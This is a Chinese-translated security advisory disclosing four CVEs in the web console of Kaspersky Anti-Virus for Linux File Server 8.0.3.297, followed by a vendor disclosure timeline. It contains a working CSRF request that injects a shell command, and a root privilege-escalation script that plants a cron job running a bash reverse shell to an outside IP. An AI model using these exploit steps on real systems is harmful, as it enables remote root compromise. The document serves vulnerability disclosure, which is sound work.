导语:Web页面生成(“跨站点脚本”)[CWE-79],跨站点请求伪造[ CWE-352 ],不正确的特权管理[ CWE-269 ],路由名称不正确的中和受限目录[ CWE-22 ]

1.漏洞信息

类别:Web页面生成(“跨站点脚本”)[CWE-79],跨站点请求伪造[ CWE-352 ],不正确的特权管理[ CWE-269 ],路由名称不正确的中和受限目录[ CWE-22

影响:代码执行,安全绕过,信息泄漏

远程利用:是

本地利用:是

CVE名称:CVE-2017-9813CVE-2017-9810CVE-2017-9811CVE-2017 -9812

2.漏洞描述

卡巴斯基实验室的网站:“使用不同平台上运行的文件服务器的大型企业网络在防病毒保护方面可能是一个非常令人头痛的事情。卡巴斯基反病毒软件Linux文件服务器是我们的新一代和更新产品,解决方案和为异构网络提供服务,为Samba服务器集成和其他功能提供了卓越的保护,可以保护即使是最复杂的异构网络中的工作站和文件服务器,还通过了VMware Ready认证,并支持当前版本的FreeBSD,用于集成的,面向未来的保护。”

Kaspersky Anti-Virus for Linux文件服务器[2] Web管理控制台中发现了多个漏洞。远程攻击者可能会滥用这些漏洞并以root身份获取命令执行。

3.易受攻击的包   

卡巴斯基反病毒软件Linux文件服务器8.0.3.297 [ 2 ]   

其他产品和版本可能会受到影响,但未经测试。

4.解决方案和解决方法 

https://support.kaspersky.com/13738/

5.技术说明/概念代码证明 

卡巴斯基针对Linux文件服务器的反病毒软件与Web管理控制台捆绑在一起,以监控应用程序的状态并管理其操作。   

一个特定功能允许在某些事件发生时配置shell脚本。此功能易于跨站点请求伪造,允许在Web应用程序的上下文中执行代码作为kluser帐户。该漏洞在第5.1节中描述。   

此外,可以通过滥用由kav4fs控制系统二进制文件提供的隔离功能将特权从kluser提升到root。这在第5.2节中有描述。   

发现了额外的Web应用程序漏洞,包括反映的跨站点脚本漏洞(5.3)和路径遍历漏洞(5.4)。   

5.1跨站点请求伪造导致远程命令执行   

 [CVE-2017-9810]:Web界面上没有任何形式的CSRF令牌。这将允许攻击者在经过身份验证的用户浏览攻击者控制的域时提交经过身份验证的请求。    

以下请求将更新通知设置以在将对象移动到隔离区时运行shell命令。有关事件的完整列表,请参阅产品文档。请注意,可以在单个请求中将脚本添加到所有现有事件,并扩大利用窗口。    

概念验证创建文件/tmp/pepperoni。Shell命令作为较低权限kluser运行。    

有效载荷:

"notifier": {"Actions": [{"Command": "touch /tmp/pepperoni", "EventName": 22, "Enable": true,"__VersionInfo": "1 0"}]

请求:

POST /cgi-bin/cgictl?action=setTaskSettings HTTP/1.1
Host: <server IP>:9080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 
Firefox/52.0
Accept: application/json, text/javascript, */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Referer: http://<server IP>:9080/
Content-Length: 3273
Cookie: wmc_useWZRDods=true; wmc_sid=690DE0005C5625A420255EFEBB3349F7; 
wmc_full_stat=1;
wmc_logsSimpleMode=1;
wmc_backupSimpleMode=1; 
wmc_quaSimpleMode=1; 
wmc_iconsole_lang=resource_en.js;
wmc_show_settings_descr=false;
iconsole_test; wmc_show_licence_descr=false
Connection:close
taskId=7&
settings=%7B%22ctime%22%3A%201490796963%2C%20%22notifier%22%3A%20%7B%22Actions%22%3A%20%5B%7B%22Command%22%3A%20%22touch%20%2Ftmp%2Fpepperoni%22%2C%20%22EventName%22%3A%2022%2C%20%22Enable%22%3A%20true%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%5D%2C%20%22CommonSmtpSettings%22%3A%20%7B%22DefaultRecipients%22%3A%20%5B%5D%2C%20%22InternalMailerSettings%22%3A%20%7B%22ConnectionTimeout%22%3A%2010%2C%20%22SmtpPort%22%3A%2025%2C%20%22SmtpQueueFolder%22%3A%20%22%2Fvar%2Fopt%2Fkaspersky%2Fkav4fs%2Fdb%2Fnotifier%22%2C%20%22SmtpServer%22%3A%20%22%22%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%2C%20%22Mailer%22%3A%20%221%22%2C%20%22Sender%22%3A%20%22%22%2C%20%22SendmailPath%22%3A%20%22%2Fusr%2Fsbin%2Fsendmail%20-t%20-i%22%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%2C%20%22EnableActions%22%3A%20true%2C%20%22EnableSmtp%22%3A%20false%2C%20%22SmtpNotifies%22%3A%20%5B%7B%22Body%22%3A%20%22%22%2C%20%22Enable%22%3A%20true%2C%20%22EventName%22%3A%201%2C%20%22Recipients%22%3A%20%5B%5D%2C%20%22Subject%22%3A%20%22Anti-Virus%20started%22%2C%20%22UseRecipientList%22%3A%202%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%2C%20%7B%22Body%22%3A%20%22%22%2C%20%22Enable%22%3A%20true%2C%20%22EventName%22%3A%206%2C%20%22Recipients%22%3A%20%5B%5D%2C%20%22Subject%22%3A%20%22License%20error%22%2C%20%22UseRecipientList%22%3A%202%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%2C%20%7B%22Body%22%3A%20%22%22%2C%20%22Enable%22%3A%20true%2C%20%22EventName%22%3A%207%2C%20%22Recipients%22%3A%20%5B%5D%2C%20%22Subject%22%3A%20%22Databases%20updated%22%2C%20%22UseRecipientList%22%3A%202%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%5D%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%2C%20%22snmp%22%3A%20%7B%22MasterAgentXAddress%22%3A%20%22tcp%3Alocalhost%3A705%22%2C%20%22PingInterval%22%3A%2015%2C%20%22TrapSuite%22%3A%20%7B%22AVBasesAppliedEventEnable%22%3A%20true%2C%20%22AVBasesAreOutOfDateEventEnable%22%3A%20true%2C%20%22AVBasesAreTotallyOutOfDateEventEnable%22%3A%20true%2C%20%22AVBasesAttachedEventEnable%22%3A%20true%2C%20%22AVBasesIntegrityCheckFailedEventEnable%22%3A%20true%2C%20%22AVBasesRollbackCompletedEventEnable%22%3A%20true%2C%20%22AVBasesRollbackErrorEventEnable%22%3A%20true%2C%20%22ApplicationSettingsChangedEventEnable%22%3A%20true%2C%20%22ApplicationStartedEventEnable%22%3A%20true%2C%20%22LicenseErrorEventEnable%22%3A%20true%2C%20%22LicenseExpiredEventEnable%22%3A%20true%2C%20%22LicenseExpiresSoonEventEnable%22%3A%20true%2C%20%22LicenseInstalledEventEnable%22%3A%20true%2C%20%22LicenseNotInstalledEventEnable%22%3A%20true%2C%20%22LicenseNotRevokedEventEnable%22%3A%20true%2C%20%22LicenseRevokedEventEnable%22%3A%20true%2C%20%22ModuleNotDownloadedEventEnable%22%3A%20true%2C%20%22NothingToUpdateEventEnable%22%3A%20true%2C%20%22ObjectDeletedEventEnable%22%3A%20true%2C%20%22ObjectDisinfectedEventEnable%22%3A%20true%2C%20%22ObjectSavedToBackupEventEnable%22%3A%20true%2C%20%22ObjectSavedToQuarantineEventEnable%22%3A%20true%2C%20%22RetranslationErrorEventEnable%22%3A%20true%2C%20%22TaskStateChangedEventEnable%22%3A%20true%2C%20%22ThreatDetectedEventEnable%22%3A%20true%2C%20%22UpdateErrorEventEnable%22%3A%20true%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%2C%20%22TrapsEnable%22%3A%20true%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%7D&schedule=%7B%7D&skipCtimeCheck=true

5.2 特权由于权限过大而升级    

[CVE-2017-9811]:kluser能够与kav4fs-control二进制文件进行交互。通过滥用隔离读写操作,可以将权限提升为root权限。     

以下的概念验证脚本添加了将以root身份执行的cron作业。

# Make sure the application is running
/opt/kaspersky/kav4fs/bin/kav4fs-control --start-app
# Create cron job in /tmp
echo "* * * * * root /tmp/reverse.sh" > /tmp/badcron
# Sample reverse shell payload
cat > /tmp/reverse.sh << EOF
#!/bin/bash
bash -i >& /dev/tcp/172.16.76.1/8000 0>&1
EOF
chmod +x /tmp/reverse.sh
# Move the cron job to quarantine and grab the object ID
QUARANTINE_ID=$(/opt/kaspersky/kav4fs/bin/kav4fs-control -Q
--add-object /tmp/badcron | cut -d'=' -f2 | cut -d'.' -f1)
# Restore the file to /etc/cron.d
/opt/kaspersky/kav4fs/bin/kav4fs-control -Q --restore $QUARANTINE_ID
--file /etc/cron.d/implant

5.3.反射的跨站点脚本    

[CVE-2017-9813]:licenseKeyInfo操作方法的scriptName参数容易受到跨站脚本的攻击。

5.4.路径遍历    

[CVE-2017-9812]:getReportStatus操作方法的reportId参数可以被滥用以使用kluser权限读取任意文件。以下的概念证明读取/etc/passwd文件。

6.报告时间表

2017-04-03:核心安全局向卡巴斯基发出初步通知,其中包括咨询稿。

2017-04-03:卡巴斯基确认接受咨询,并通知他们将其提交给相关技术团队进行验证和复制。

2017-04-06:卡巴斯基证实,他们可以复制五个报告的漏洞中的三分之一,并向我们提出了关于其他两个缓和因素的理由的意见。他们还表示,他们会在几天内通知我们修复日期。

2017-04-06:核心安全感谢确认并发出疑问的一个漏洞的理由。核心安全协议同意删除一个报告的漏洞,因为它可以通过产品设置缓解。

2017-04-25:卡巴斯基证实了其他报告的漏洞,并正在修复。他们说修复将被释放到“六月三十日”,并且还会在六月底前通知我们确切的日期。

2017-04-25:核心安全感谢确认最终漏洞列表,并要求澄清发布日期。

2017-04-25:卡巴斯基澄清,他们将在6月30日之前发布修正案,并将在6月中旬之前通知我们确切的日期。

2017-06-19:卡巴斯基提到他们愿意在6月30日出版发行,并要求提供CVE。

2017-06-19:核心安全回答提出咨询出版物为7月3日,以避免星期五的咨询公布。还要求澄清Core Security研究人员发现的6月14日的修复程序,以及是否修复报告的漏洞。

2017-06-21:卡巴斯基回答说,6月14日的修复与报告的漏洞的修复有关。

2017-06-21:核心安全性询问6月14日的补丁(ID 13738)是否正在修复* all *当前咨询中报告的漏洞。如果这样,核心安全部门将比计划更快地发布咨询。提醒卡巴斯基表示,他们将在6月30日前发布修正案。

2017-06-22: Core Security向每个漏洞发送了最终CVE ID的咨询草案。

2017-06-23:卡巴斯基表示,他们将尽快澄清补丁13738,并注意到咨询时间表中的错字。

2017-06-23:核心安全性再次要求我们尽快澄清补丁13738。

2017-06-26:核心安全审查了6月14日发布的补丁,并确认它解决了所有报告的漏洞。核心安全通知卡巴斯基,这项咨询将于星期三28日发布为强制发布。

2017-06-28:咨询CORE-2017-0003发布。

源链接

Hacking more

...